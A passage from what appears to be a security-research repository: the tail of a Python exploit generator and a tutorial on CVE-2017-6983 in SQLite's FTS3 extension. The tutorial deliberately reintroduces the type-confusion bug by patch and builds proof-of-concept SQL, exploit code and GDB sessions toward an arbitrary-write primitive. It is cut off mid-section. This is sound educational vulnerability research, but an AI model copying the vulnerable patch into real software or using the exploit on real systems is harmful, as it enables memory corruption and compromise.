| raddr_Vdbe_pFree = raddr_Vdbe + offset_Vdbe_pFree 302 | pFree_val = 0 303 | exp = writeVal(exp, raddr_Vdbe_pFree, pFree_val) 304 | 305 | # Vdbe.aOp = 0 (line 85588 @ sqlite3VdbeClearObject) 306 | offset_Vdbe_aOp = 0x88 307 | raddr_Vdbe_aOp = raddr_Vdbe + offset_Vdbe_aOp 308 | aOp_val = 0 309 | exp = writeVal(exp, raddr_Vdbe_aOp, aOp_val) 310 | 311 | # Vdbe.nOp = 0 (line 85588 @ sqlite3VdbeClearObject) 312 | offset_Vdbe_nOp = 0x90 313 | raddr_Vdbe_nOp = raddr_Vdbe + offset_Vdbe_nOp 314 | nOp_val = 0 315 | exp = writeVal(exp, raddr_Vdbe_nOp, nOp_val, 4) 316 | 317 | # Vdbe.zSql = 0 (line 85589 @ sqlite3VdbeClearObject) 318 | offset_Vdbe_zSql = 0x100 319 | raddr_Vdbe_zSql = raddr_Vdbe + offset_Vdbe_zSql 320 | zSql_val = 0 321 | exp = writeVal(exp, raddr_Vdbe_zSql, zSql_val) 322 | 323 | # malicious_metadata = 0 (due to malloc_usable_size) 324 | malicious_metadata_val = 0 325 | exp = writeVal(exp, raddr_malicious_metadata, malicious_metadata_val) 326 | 327 | # malicious_content = Your-bad-value 328 | if bad_val != None: 329 | exp = writeVal(exp, raddr_malicious_content, bad_val) 330 | if bad_str != None: 331 | exp = writeStr(exp, raddr_malicious_content, bad_str) 332 | 333 | with open('/tmp/exp', 'w') as f: 334 | f.write("create table t1(c1 char);\n") 335 | f.write("insert into t1 values(x'" + exp + "');\n") 336 | f.write("create virtual table a using fts3(b);\n") 337 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 338 | f.write("select optimize(b) from a;\n") 339 | f.write("select sqlite_version();\n") 340 | -------------------------------------------------------------------------------- /SQLite/cve-2017-6983.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-6983 Explained 2 | 3 | CVE-2017-6983 is a type-confusion vulnerability in SQLite that enables an attacker to gain an arbitrary memory-write primitive. This bug has been exploited in various attack scenarios due to SQLite's widespread integration across software platforms, including in MacOS system components. A detailed technical analysis and real-world exploitation of this vulnerability were presented at Black Hat USA 2017: 4 | 5 | * *Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software*. ([Video](https://www.youtube.com/watch?v=Kqv8S1BQYwE&ab_channel=BlackHat)) ([Slides p39-p60](https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf)) 6 | 7 | In this blog, I go beyond the initial crash to develop a fully working exploit based on this bug (without ASLR bypass). 8 | 9 | 10 | # Source Code 11 | 12 | To begin analyzing or experimenting with CVE-2017-6983, you will need a specific version of the SQLite source code. The following steps show how to retrieve and build SQLite version 3.40.1, which maps to commit `1fdaa9d1a7`. 13 | 14 | ```bash 15 | $ git clone https://github.com/sqlite/sqlite.git 16 | $ cd sqlite 17 | $ git checkout version-3.40.1 # commit 1fdaa9d1a7 18 | ``` 19 | 20 | Next, compile the source code to generate the `sqlite3.c` and `shell.c` files. These are essential for debugging and investigations. 21 | 22 | ```bash 23 | $ CC="clang -DSQLITE_DEBUG" ./configure --enable-debug 24 | $ make 25 | $ ls -l sqlite3.c shell.c 26 | ``` 27 | 28 | > **Note**: The `-DSQLITE_DEBUG` flag enables internal assertions and debugging helpers, which can be used for identified misuse of internal SQLite APIs. 29 | 30 | > **Why version 3.40.1?** Although CVE-2017-6983 was disclosed in 2017, I chose version 3.40.1 (released in 2022) for this analysis because it was the latest version at the time of my investigation. 31 | 32 | 33 | # Reintroducing the Vulnerability 34 | 35 | SQLite version 3.40.1 has already patched CVE-2017-6983. However, for demonstration and research purposes, we manually reintroduce the bug by modifying the source code. The following patch restores the vulnerable behavior inside the `fts3FunctionArg` function. 36 | 37 | > **Warning**: This patch reintroduces a serious memory corruption bug. You should never apply this patch to any production or non-isolated environment. It is intended for testing and educational use in a controlled setting. 38 | 39 | 40 | ```c 41 | // sqlite3.c 42 | 43 | static int fts3FunctionArg( 44 | sqlite3_context *pContext, /* SQL function call context */ 45 | const char *zFunc, /* Function name */ 46 | sqlite3_value *pVal, /* argv[0] passed to function */ 47 | Fts3Cursor **ppCsr /* OUT: Store cursor handle here */ 48 | ){ 49 | int rc; 50 | /* Insert Vuln */ 51 | + Fts3Cursor *pRet; 52 | + memcpy(&pRet, sqlite3_value_blob(pVal), sizeof(Fts3Cursor *)); 53 | + *ppCsr = pRet; 54 | - *ppCsr = (Fts3Cursor*)sqlite3_value_pointer(pVal, "fts3cursor"); 55 | if( (*ppCsr)!=0 ){ 56 | rc = SQLITE_OK; 57 | }else{ 58 | char *zErr = sqlite3_mprintf("illegal first argument to %s", zFunc); 59 | sqlite3_result_error(pContext, zErr, -1); 60 | sqlite3_free(zErr); 61 | rc = SQLITE_ERROR; 62 | } 63 | return rc; 64 | } 65 | ``` 66 | 67 | Once this modification is in place, recompile SQLite. 68 | 69 | ```bash 70 | $ make 71 | ``` 72 | 73 | > **What does this patch do?** The safe version users `sqlite3_value_pointer()` to safely retrieve a typed pointe with a tag ("fts3cursor"). By replacing it with `sqlite3_value_blob()` and `memcpy()`, we remove the type safety and allow arbitrary pointer casting, which reintroduces the type confusion vulnerability that enables an attacker-controlled pointer to be passed into internal SQLite structure. 74 | 75 | 76 | # Nice Feature: Virtual Table 77 | 78 | SQLite is originally designed to manage traditional SQL tables, which are structured collections of rows and columns. However, to expand its usability, SQLite introduces a powerful feature called **virtual tables**, which allow developers to interface with non-tabular data (such as files or documents) using familiar SQL syntax. 79 | 80 | A virtual table, as the name suggests, is not a real SQL table. Instead, it is an abstraction provided by a user-defined SQL extension that handles custom data backend. When creating a virtual table, we need to specify the underlying extension module that implements its behavior. For example, **FTS3** is an extension that enables full-text search (FTS) over unstructured text data. When we issue SQL commands like `CREATE`, `INSERT` or `SELECT` on a virtual table, SQLite defers execution to callback functions provided by the related extension, which bypasses its usual SQL storage and processing layers. 81 | 82 | So far, so good. 83 | 84 | But here is where things get interesting. 85 | 86 | When we insert data into a virtual table, it often gets stored in the form of a `BLOB` (binary large object). The BLOB data itself is opaque to SQLite since it is simply stores raw binary data. The extension knows how to interpret this data because it defines its own internal structure. When inserting, the extension serializes its expected structure into a BLOB. When selecting from the table, it deserializes the BLOB based on that same structure. 87 | 88 | Now imagine this: what happens if an attacker forges a BLOB and tricks the extension into loading it? 89 | 90 | Simple but dangerous. The extension blindly trusts the BLOB and interprets its content based on its internal layout. If the layout expects a pointer at offset X, it will read the value at that offset and treat it as a real pointer, even if it was crafted by the attacker. 91 | 92 | This is exactly the root of CVE-2017-6983. 93 | 94 | This vulnerability arises when an attacker-controlled BLOB is misinterpreted by the extension, resulting in type confusion and potentially leading to arbitrary memory writes or reads. 95 | 96 | So far, too good, for attackers unfortunately. 97 | 98 | 99 | # PoC0: Control a Pointer 100 | 101 | This proof of concept (PoC) demonstrates how an attacker can control a pointer passed to an internal FTS3 function by exploiting the type confusion vulnerability. 102 | 103 | ```sql 104 | create virtual table a using fts3(b); 105 | insert into a values(x'aabbccdd'); 106 | select optimize(b) from a; 107 | ``` 108 | 109 | Step-by-step breakdown: 110 | 111 | 1. Create a virtual table `a` using the FTS3 extension with a single column `b`. 112 | 113 | 2. Insert a raw 4-byte BLOB `x'aabbccdd'`, which will be misinterpreted as a pointer in `fts3FunctionArg()`. 114 | 115 | 3. Trigger the vulnerability. The `select optimize(b) from a` statement calls the `optimize` function with the column value `b` as its argument. Because `b` is a BLOB and the patched type tag check was removed, the extension treats the raw data `0xddccbbaa` (big endian) as a valid `Fts3Cursor` pointer. 116 | 117 | As a result, the extension dereferences an attacker-controlled pointer, leading to a segmentation fault (or worse, arbitrary memory access). Run this PoC with the modified (vulnerable) SQLite binary. 118 | 119 | ```bash 120 | # save the above SQL as /tmp/exp0 121 | $ ./sqlite < /tmp/exp0 122 | Segmentation fault (core dumped) 123 | ``` 124 | 125 | > **Note**: The crash confirms that the function `optimize()` is dereferencing the forged pointer (`0xddccbbaa`), validating the type confusion vulnerability. 126 | 127 | Let's confirm the crash and inspect what is happening behind the scenes using GDB. 128 | 129 | ```bash 130 | $ gdb ./sqlite3 131 | (gdb) r < /tmp/exp0 132 | Program received signal SIGSEGV, Segmentation fault. 133 | 0x00000000005b3d4a in fts3OptimizeFunc (pContext=0x664e80, nVal=1, apVal=0x664eb0) at sqlite3.c:182454 134 | ``` 135 | 136 | We immediately hit a segmentation fault in `fts3OpitmizeFunc`. Let's check what the extension thought `pCursor` is. 137 | 138 | ```bash 139 | 182454 p = (Fts3Table *)pCursor->base.pVtab; 140 | (gdb) p pCursor 141 | $1 = (Fts3Cursor *) 0xddccbbaa 142 | ``` 143 | 144 | As expected, the value `0xddccbbaa` is exactly the BLOB we insert. The value is blindly interpreted as a pointer by the vulnerable `fts3FunctionArg()` function. 145 | 146 | To better understand the call flow and crash location, let’s inspect the stack trace: 147 | 148 | ```bash 149 | (gdb) bt 150 | #0 0x00000000005b3d4a in fts3OptimizeFunc (pContext=0x664e80, nVal=1, apVal=0x664eb0) at sqlite3.c:182454 151 | #1 0x00000000004b34ae in sqlite3VdbeExec (p=0x662a20) at sqlite3.c:98127 152 | #2 0x00000000004549ed in sqlite3Step (p=0x662a20) at sqlite3.c:88072 153 | #3 0x000000000044c267 in sqlite3_step (pStmt=0x662a20) at sqlite3.c:88133 154 | #4 0x000000000043e63e in exec_prepared_stmt (pArg=0x7fffffffcf68, pStmt=0x662a20) at shell.c:18074 155 | #5 0x0000000000418677 in shell_exec (pArg=0x7fffffffcf68, zSql=0x64f430 "select optimize(b) from a;", pzErrMsg=0x7fffffffcd50) at shell.c:18390 156 | #6 0x00000000004428ff in runOneSqlLine (p=0x7fffffffcf68, zSql=0x64f430 "select optimize(b) from a;", in=0x7ffff7c1aaa0 <_IO_2_1_stdin_>, startline=4) at shell.c:25400 157 | #7 0x000000000041934d in process_input (p=0x7fffffffcf68) at shell.c:25564 158 | #8 0x000000000040b9df in main (argc=1, argv=0x7fffffffe308) at shell.c:26419 159 | ``` 160 | 161 | And here is the code around the crashing instruction. 162 | 163 | ```bash 164 | (gdb) l 165 | 182449 166 | 182450 UNUSED_PARAMETER(nVal); 167 | 182451 168 | 182452 assert( nVal==1 ); 169 | 182453 if( fts3FunctionArg(pContext, "optimize", apVal[0], &pCursor) ) return; 170 | 182454 p = (Fts3Table *)pCursor->base.pVtab; 171 | 182455 assert( p ); 172 | 182456 173 | 182457 rc = sqlite3Fts3Optimize(p); 174 | 182458 175 | ``` 176 | 177 | The cash occurs at line 182454 of sqlite3.c, where the following instruction attempts to dereference a structure field: 178 | 179 | ```c 180 | 182454 p = (Fts3Table *)pCursor->base.pVtab; 181 | ``` 182 | 183 | The line immediately above it calls `fts3FunctionArg()`. 184 | 185 | ```c 186 | 182453 if( fts3FunctionArg(pContext, "optimize", apVal[0], &pCursor) ) return; 187 | ``` 188 | 189 | As shown in the [Reintroducing the Vulnerability](#reintroducing-the-vulnerability) section, this function is where we manually patch the code to reintroduce the type confusion bug. Specifically, we replace a type-safe pointer cast (`sqlite3_value_pointer`) with a raw memory read (`sqlite3_value_blob` + `memcpy`). 190 | 191 | Without diving too deeply into SQLite internals, it is reasonable to infer that function `fts3OpitmizeFunc` is the handler function responsible for processing the SQL call to `optimize`. Since we pass `b` as the argument in our `select` query, the extension retrieves the value of column `b` through `fts3FunctionArg`, and uses it as an `Fts3Cursor *` in function `fts3OptimizeFunc`. 192 | 193 | * In the vulnerable version (after our patch), SQLite uses `sqlite3_value_blob` to obtain raw bytes, and uses `memcpy` to cast them to a `Fts3Cursor *`, trusting the BLOB's contents. It only checks that the input has BLOB type. 194 | 195 | * In the safe version, SQLite uses `sqlite3_value_pointer` to extract a pointer, which verifies that the value is originally stored as a tagged pointer of the expected type. 196 | 197 | Anyway, in the vulnerable build, we (acting as the attacker) have full control over the `pCursor` pointer inside `fts3optimizeFunc`. Starting from this function, we will turn the bug into an arbitrary-write primitive. 198 | 199 | # PoC1: Control Everything 200 | 201 | Controlling a single pointer is not enough to fully exploit this vulnerability. In this step, we aim to control not just `pCursor`, but also the memory it points to, and any pointers or values further dereferenced from it. 202 | 203 | We notice that `pCursor` is used in the following code, like line `182454`, to retrieve a pointer `p` from `pCursor`-pointed memory content. To control `p`, we need to make `pCursor` pointing to some location that is completely under our control. The idea is to inject more malicious content into SQLite memory space, and make `pCursor` and following pointers pointing to this malicious content. 204 | 205 | We make use of the SQL query to achieve the malicious content injection. Particularly, we want to inject a lot of BLOB data into another table. 206 | 207 | ```sql 208 | create table t1(c1 char); 209 | insert into t1 values(x'very-long-malicious-blob-data'); 210 | 211 | create virtual table a using fts3(b); 212 | insert into a values(x'aabbccdd'); 213 | select optimize(b) from a; 214 | ``` 215 | 216 | The SQL query above shows our idea. Before triggering the bug (the bottom half), we first insert a large malicious blob data into another table. Then, we search this malicious block data from SQLite memory to identify its address. We will use its address for `pCursor`. Since this data is very long and may contain non-printable character, we use a python script to generate this poc automatically. 217 | 218 | ```py 219 | #!/usr/bin/env python3 220 | 221 | import os 222 | import sys 223 | 224 | with open('/tmp/exp', 'w') as f: 225 | f.write("create table t1(c1 char);\n") 226 | f.write("insert into t1 values(x'" + exp + "');\n") 227 | f.write("create virtual table a using fts3(b);\n") 228 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 229 | f.write("select optimize(b) from a;\n") 230 | ``` 231 | 232 | * `exp` is the long, malicious blob data, to be determined (TBD) 233 | * `base` is the address of this blob data in memory, TBD 234 | * `valToStr` is a function that translate an integer into big-endian string representation 235 | 236 | Here is the implementation of `valtoStr` 237 | 238 | ```py 239 | def valToStr(value, length): 240 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 241 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 242 | return c 243 | ``` 244 | 245 | At the beginning, we just set `exp` to a large benign content and set `base` to an arbitrary value. 246 | 247 | ```py 248 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2 249 | base = 0xaabbccdd 250 | ``` 251 | 252 | Combing everything together, and run the script 253 | 254 | ```bash 255 | # say the script is poc.py 256 | $ python3 ./poc.py # --> this will produce /tmp/exp file 257 | $ gdb ./sqlite3 258 | (gdb) b fts3OptimizeFunc 259 | (gdb) r < /tmp/exp 260 | ... 261 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182452 262 | 182452 assert( nVal==1 ); 263 | ``` 264 | 265 | At this moment, we are going to invoke the vulnerable function. Here we will search where is the BLOB content provided in `exp`. Since we use `0xdeadbeef` as the starting value, we will search for this value within the SQLite memory space. To simplify this search, we switch to [gdb-peda](https://github.com/longld/peda) tool, which is a customized GDB plugin providing a set of facilities. To install it, just simply follow the instruction on its GitHub repository. 266 | 267 | ```bash 268 | git clone https://github.com/longld/peda.git ~/peda 269 | echo "source ~/peda/peda.py" >> ~/.gdbinit 270 | echo "DONE! debug your program with gdb and enjoy" 271 | ``` 272 | 273 | After this simple installation, we already have `gdb-peda` installed. 274 | 275 | 276 | ```bash 277 | $ gdb ./sqlite 278 | gdb-peda $ # <--- if get this prompt, it means gdb-peda is ready 279 | ``` 280 | 281 | To make the reading easier, I will use `(gdb-peda)` as the prompt. Let's continue our exploration. 282 | 283 | ```bash 284 | $ gdb ./sqlite3 285 | (gdb-peda) b fts3OptimizeFunc 286 | (gdb-peda) r < /tmp/exp 287 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182452 288 | 182452 assert( nVal==1 ); 289 | (gdb-peda) searchmem 0xdeadbeef 290 | Searching for '0xdeadbeef' in: None ranges 291 | Found 1 results, display max 1 items: 292 | [heap] : 0x667ad8 --> 0xdeadbeef 293 | (gdb-peda) x/100bx 0x667ad8 294 | 0x667ad8: 0xef 0xbe 0xad 0xde 0x00 0x00 0x00 0x00 295 | 0x667ae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 296 | ``` 297 | 298 | We can see that the SQLite process only contains one copy of this data, which starts from address `0x667ad8`. We should replace `base` with this value. 299 | 300 | 301 | ```py 302 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2 303 | base = 0x667ad8 304 | ``` 305 | 306 | Run again 307 | 308 | ```bash 309 | $ python3 ./poc.py 310 | $ gdb ./sqlite3 311 | (gdb-peda) b sqlite3.c:182454 312 | Breakpoint 1 at 0x5b3d46: file sqlite3.c, line 182454. 313 | (gdb-peda) r < /tmp/exp 314 | Breakpoint 1, fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182454 315 | 182454 p = (Fts3Table *)pCursor->base.pVtab; 316 | (gdb-peda) p pCursor 317 | $1 = (Fts3Cursor *) 0x667ad8 318 | (gdb-peda) x/100bx pCursor 319 | 0x667ad8: 0xef 0xbe 0xad 0xde 0x00 0x00 0x00 0x00 320 | 0x667ae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 321 | 0x667ae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 322 | 0x667af0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 323 | 0x667af8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 324 | 0x667b00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 325 | 0x667b08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 326 | 0x667b10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 327 | 0x667b18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 328 | 0x667b20: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 329 | 0x667b28: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 330 | 0x667b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 331 | 0x667b38: 0x00 0x00 0x00 0x00 332 | ``` 333 | 334 | OK, great. Now `pCurosr` is pointing to the long, malicious BLOB content. We can change `exp` as we want to control any variable dereferenced from `pCursor`. 335 | 336 | Define another two python functions to help update `exp` to whatever we want. The complete PoC1 is as follows. 337 | 338 | ```py 339 | #!/usr/bin/env python3 340 | 341 | import os 342 | import sys 343 | 344 | def valToStr(value, length): 345 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 346 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 347 | return c 348 | 349 | def writeStr(exp, off, string): 350 | exp = list(exp) 351 | string = list(string) 352 | for i in range(0, len(string)): 353 | exp[off + i] = string[i] 354 | return ''.join(exp) 355 | 356 | def writeVal(exp, off, value, length): 357 | # value = hex(value) 358 | # print(value) 359 | return writeStr(exp, off * 2, valToStr(value, length)) 360 | 361 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2 362 | base = 0x667ad8 363 | 364 | ############################################################# 365 | # TODO: update exp properly to change the malicious content # 366 | ############################################################# 367 | 368 | with open('/tmp/exp', 'w') as f: 369 | f.write("create table t1(c1 char);\n") 370 | f.write("insert into t1 values(x'" + exp + "');\n") 371 | f.write("create virtual table a using fts3(b);\n") 372 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 373 | f.write("select optimize(b) from a;\n") 374 | ``` 375 | 376 | # PoC2: write-what-where 377 | 378 | Next, our goal is to achieve a primitive that allows us to write arbitrary value into arbitrary location, known as [write-what-where](https://cwe.mitre.org/data/definitions/123.html). 379 | 380 | ### 1. sqlite3Fts3Optimize 381 | 382 | What we have done is to make `pCursor` pointing to our malicious blob data. SQLite will treat the pointed memory as an `Fts3Cursor` object. 383 | 384 | ```txt 385 | ############################################################# 386 | # Fts3Cursor (0x80) 387 | ############################################################# 388 | ``` 389 | 390 | The size of this object `sizeof(Fts3Cursor)` is 0x80. We can get this size via `p sizeof(Fts3Cursor)` within `gdb-peda`. 391 | 392 | ```bash 393 | (gdb-peda) p sizeof(Fts3Cursor) 394 | 0x80 395 | ``` 396 | 397 | SQLite is going to execute the following lines. 398 | 399 | ```c 400 | 182454 p = (Fts3Table *)pCursor->base.pVtab; 401 | 182455 assert( p ); 402 | 182456 403 | 182457 rc = sqlite3Fts3Optimize(p); 404 | ``` 405 | 406 | Within `Fts3Cursor`, `base.pVtab` is at offset 0. We can obtain this offset via `gdb-peda` 407 | 408 | ```bash 409 | (gdb-peda) p &((Fts3Cursor *)0)->base.pVtab 410 | $2 = (sqlite3_vtab **) 0x0 411 | ``` 412 | 413 | Therefore, to control `p` (which is `pCursor->base.pVtab`), we need to update `exp` so that at its offset 0 the value is a pointer. We want to make this point `base + sizeof(Fts3Cursor)` so their memory content will not be overlapped. 414 | 415 | ```py 416 | # sizeof types 417 | Fts3Cursor_size = 0x80 418 | 419 | # offset_type_member -> offset of member within type 420 | 421 | # raddr -> address relative to base 422 | # -> offset relattive to exp 423 | raddr_Fts3Cursor = 0 424 | 425 | # set pVtab -> &Fts3Table -> p 426 | offset_Fts3Cursor_pVtab = 0 427 | p_value = base + raddr_Fts3Table 428 | exp = writeVal(exp, raddr_Fts3Cursor + offset_Fts3Cursor_pVtab, p_value, 8) 429 | ``` 430 | 431 | After this update, we have the following memory layout. 432 | 433 | ```txt 434 | ############################################################# 435 | # Fts3Cursor (0x80) 436 | # + Fts3Table (0x220) 437 | ############################################################# 438 | + Fts3Cursor.base.pVtable = &Fts3Table 439 | ``` 440 | 441 | ### 2. sqlite3Fts3Optimize > sqlite3Fts3Optimize 442 | 443 | The execution will go into `sqlite3Fts3Optimize`. 444 | 445 | ```c 446 | 194701 ** Flush any data in the pending-terms hash table to disk. If successful, 447 | 194702 ** merge all segments in the database (including the new segment, if 448 | 194703 ** there was any data to flush) into a single segment. 449 | 194704 */ 450 | 194705 SQLITE_PRIVATE int sqlite3Fts3Optimize(Fts3Table *p){ 451 | 194706 int rc; 452 | 194707 rc = sqlite3_exec(p->db, "SAVEPOINT fts3", 0, 0, 0); 453 | 194708 if( rc==SQLITE_OK ){ 454 | 194709 rc = fts3DoOptimize(p, 1); 455 | 194710 if( rc==SQLITE_OK || rc==SQLITE_DONE ){ 456 | 194711 int rc2 = sqlite3_exec(p->db, "RELEASE fts3", 0, 0, 0); 457 | 194712 if( rc2!=SQLITE_OK ) rc = rc2; 458 | 194713 }else{ 459 | 194714 sqlite3_exec(p->db, "ROLLBACK TO fts3", 0, 0, 0); 460 | 194715 sqlite3_exec(p->db, "RELEASE fts3", 0, 0, 0); 461 | 194716 } 462 | 194717 } 463 | 194718 sqlite3Fts3SegmentsClose(p); 464 | 194719 return rc; 465 | 194720 } 466 | ``` 467 | 468 | Line `194707` invokes `sqlite3_exec`, which invokes `sqlite3SafetyCheckOk`. To simplify the attack, we set `p->db` to `0`, which forces `sqlite3SafetyCheckOk` returning 0, and in turn forces `sqlite3_exec` returns `^SQLITE_OK`. 469 | 470 | ```txt 471 | sqlite3Fts3Optimize 472 | +-> sqlite3_exec 473 | +-> sqlite3SafetyCheckOk 474 | <-+ 0 475 | <-+ SQLITE_MISUSE_BKPT (not SQLITE_OK) 476 | +-> sqlite3Fts3SegmentsClose 477 | ``` 478 | 479 | Here we use this simple layout to represent what we need to achieve. 480 | 481 | ```txt 482 | ############################################################# 483 | # Fts3Cursor (0x80) 484 | # Fts3Table (0x220) 485 | ############################################################# 486 | Fts3Cursor.base.pVtable = &Fts3Table 487 | + Fts3Table.db = 0 488 | ``` 489 | 490 | ### 3. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose 491 | 492 | 493 | The execution now goes into `sqlite3Fts3SegmentsClose`. 494 | 495 | ```c 496 | 190157 /* 497 | 190158 ** Close the blob handle at p->pSegments, if it is open. See comments above 498 | 190159 ** the sqlite3Fts3ReadBlock() function for details. 499 | 190160 */ 500 | 190161 SQLITE_PRIVATE void sqlite3Fts3SegmentsClose(Fts3Table *p){ 501 | 190162 sqlite3_blob_close(p->pSegments); 502 | 190163 p->pSegments = 0; 503 | 190164 } 504 | ``` 505 | 506 | This function is very simple, which just passes `p->pSegments` into function `sqlite3_blob_close`. What we need to do is to set `p->pSegments` to next available space after `Fts3Table`, which will be treated as an `Incrblob` object. 507 | 508 | 509 | ```txt 510 | ############################################################# 511 | # Fts3Cursor (0x80) 512 | # Fts3Table (0x220) 513 | # + Incrblob (0x38) 514 | ############################################################# 515 | Fts3Cursor.base.pVtable = &Fts3Table 516 | Fts3Table.db = 0 517 | + Fts3Table.pSegments = &Incrblob 518 | ``` 519 | 520 | ### 4. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close 521 | 522 | The execution goes into `sqlite3_blob_close`. 523 | 524 | ```c 525 | 98920 /* 526 | 98921 ** Close a blob handle that was previously created using 527 | 98922 ** sqlite3_blob_open(). 528 | 98923 */ 529 | 98924 SQLITE_API int sqlite3_blob_close(sqlite3_blob *pBlob){ 530 | 98925 Incrblob *p = (Incrblob *)pBlob; 531 | 98926 int rc; 532 | 98927 sqlite3 *db; 533 | 98928 534 | 98929 if( p ){ 535 | 98930 sqlite3_stmt *pStmt = p->pStmt; 536 | 98931 db = p->db; 537 | 98932 sqlite3_mutex_enter(db->mutex); 538 | 98933 sqlite3DbFree(db, p); 539 | 98934 sqlite3_mutex_leave(db->mutex); 540 | 98935 rc = sqlite3_finalize(pStmt); 541 | 98936 }else{ 542 | 98937 rc = SQLITE_OK; 543 | 98938 } 544 | 98939 return rc; 545 | 98940 } 546 | ``` 547 | 548 | Next, we update `p->db`, which is used as a `sqlite3` pointer. 549 | 550 | ```txt 551 | ######################################################################### 552 | # Fts3Cursor (0x80) 553 | # Fts3Table (0x220) 554 | # Incrblob (0x38) 555 | # + sqlite3 (0x308) 556 | ######################################################################### 557 | Fts3Cursor.base.pVtable = &Fts3Table 558 | Fts3Table.db = 0 559 | Fts3Table.pSegments = &Incrblob 560 | + Incrblob.db = &sqlite3 561 | ``` 562 | 563 | We need to update this `sqlite3` structure to make sure `mutex` is 0 564 | 565 | ```txt 566 | ######################################################################### 567 | # Fts3Cursor (0x80) 568 | # Fts3Table (0x220) 569 | # Incrblob (0x38) 570 | # sqlite3 (0x308) 571 | ######################################################################### 572 | Fts3Cursor.base.pVtable = &Fts3Table 573 | Fts3Table.db = 0 574 | Fts3Table.pSegments = &Incrblob 575 | Incrblob.db = &sqlite3 576 | + sqlite3.mutex = 0 577 | ``` 578 | 579 | ### 5. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree 580 | 581 | This `sqlite3` structure is also used within `sqlite3DbFree` function as the first argument `db`. At the same time, the second argument is the `Incrblob` structure. We track into this function to find more constraint. 582 | 583 | ```c 584 | 29433 SQLITE_PRIVATE void sqlite3DbFree(sqlite3 *db, void *p){ 585 | 29434 assert( db==0 || sqlite3_mutex_held(db->mutex) ); 586 | 29435 if( p ) sqlite3DbFreeNN(db, p); 587 | 29436 } 588 | ``` 589 | 590 | * `db==0` is always `False`. 591 | 592 | * `sqlite3_mutex_held(db->mutex)` should be `True`. 593 | 594 | * `p` is not `0` 595 | 596 | ### 6. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN 597 | 598 | So the execution will enter `sqlite3DbFreeNN` with the same arguments. 599 | 600 | ```c 601 | 29357 SQLITE_PRIVATE void sqlite3DbFreeNN(sqlite3 *db, void *p){ 602 | 29360 if( db ){ 603 | 29361 if( ((uptr)p)<(uptr)(db->lookaside.pEnd) ){ 604 | ... ... 605 | 29384 } 606 | 29385 if( db->pnBytesFreed ){ 607 | 29386 measureAllocationSize(db, p); 608 | 29387 return; 609 | 29388 } 610 | 29389 } 611 | ... ... 612 | 29395 } 613 | ``` 614 | 615 | Here are want to make sure 616 | 617 | 1. `plookaside.pEnd` is `False` 618 | 2. `db->pnBytesFreed` is a valid integer-pointer. 619 | 620 | So we add the following updates. 621 | 622 | ```txt 623 | ######################################################################### 624 | # Fts3Cursor (0x80) 625 | # Fts3Table (0x220) 626 | # Incrblob (0x38) 627 | # sqlite3 (0x308) 628 | # + nBytesFreed (0x4) 629 | ######################################################################### 630 | Fts3Cursor.base.pVtable = &Fts3Table 631 | Fts3Table.db = 0 632 | Fts3Table.pSegments = &Incrblob 633 | Incrblob.db = &sqlite3 634 | sqlite3.mutex = 0 635 | + sqlite3.lookaside.pEnd = 0 636 | + sqlite3.pnBytesFreed = &nBytesFreed 637 | ``` 638 | 639 | ### 7. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN > measureAllocationSize 640 | 641 | Now the execution enters `measureAllocationSize` 642 | 643 | ```c 644 | 29344 /* 645 | 29345 ** Add the size of memory allocation "p" to the count in 646 | 29346 ** *db->pnBytesFreed. 647 | 29347 */ 648 | 29348 static SQLITE_NOINLINE void measureAllocationSize(sqlite3 *db, void *p){ 649 | 29349 *db->pnBytesFreed += sqlite3DbMallocSize(db,p); 650 | 29350 } 651 | ``` 652 | 653 | #### Interesting Question: Can we turn this operation into an arbitrary write primitive? 654 | 655 | > It turns out to be possible. A arbitrary write primitive requires to both address and value 656 | > 657 | > `*address = value;` 658 | > 659 | > address = db->pnBytesFreed 660 | > 661 | > + completely under our control 662 | > + no side effect 663 | > - can only overwrite 4-byte 664 | > 665 | > value = malloc_useable_size(p) 666 | > 667 | > + can be controlled (need to update memory content before `p` 668 | > - usually `& ~0x7`, which means the last 3 bits are 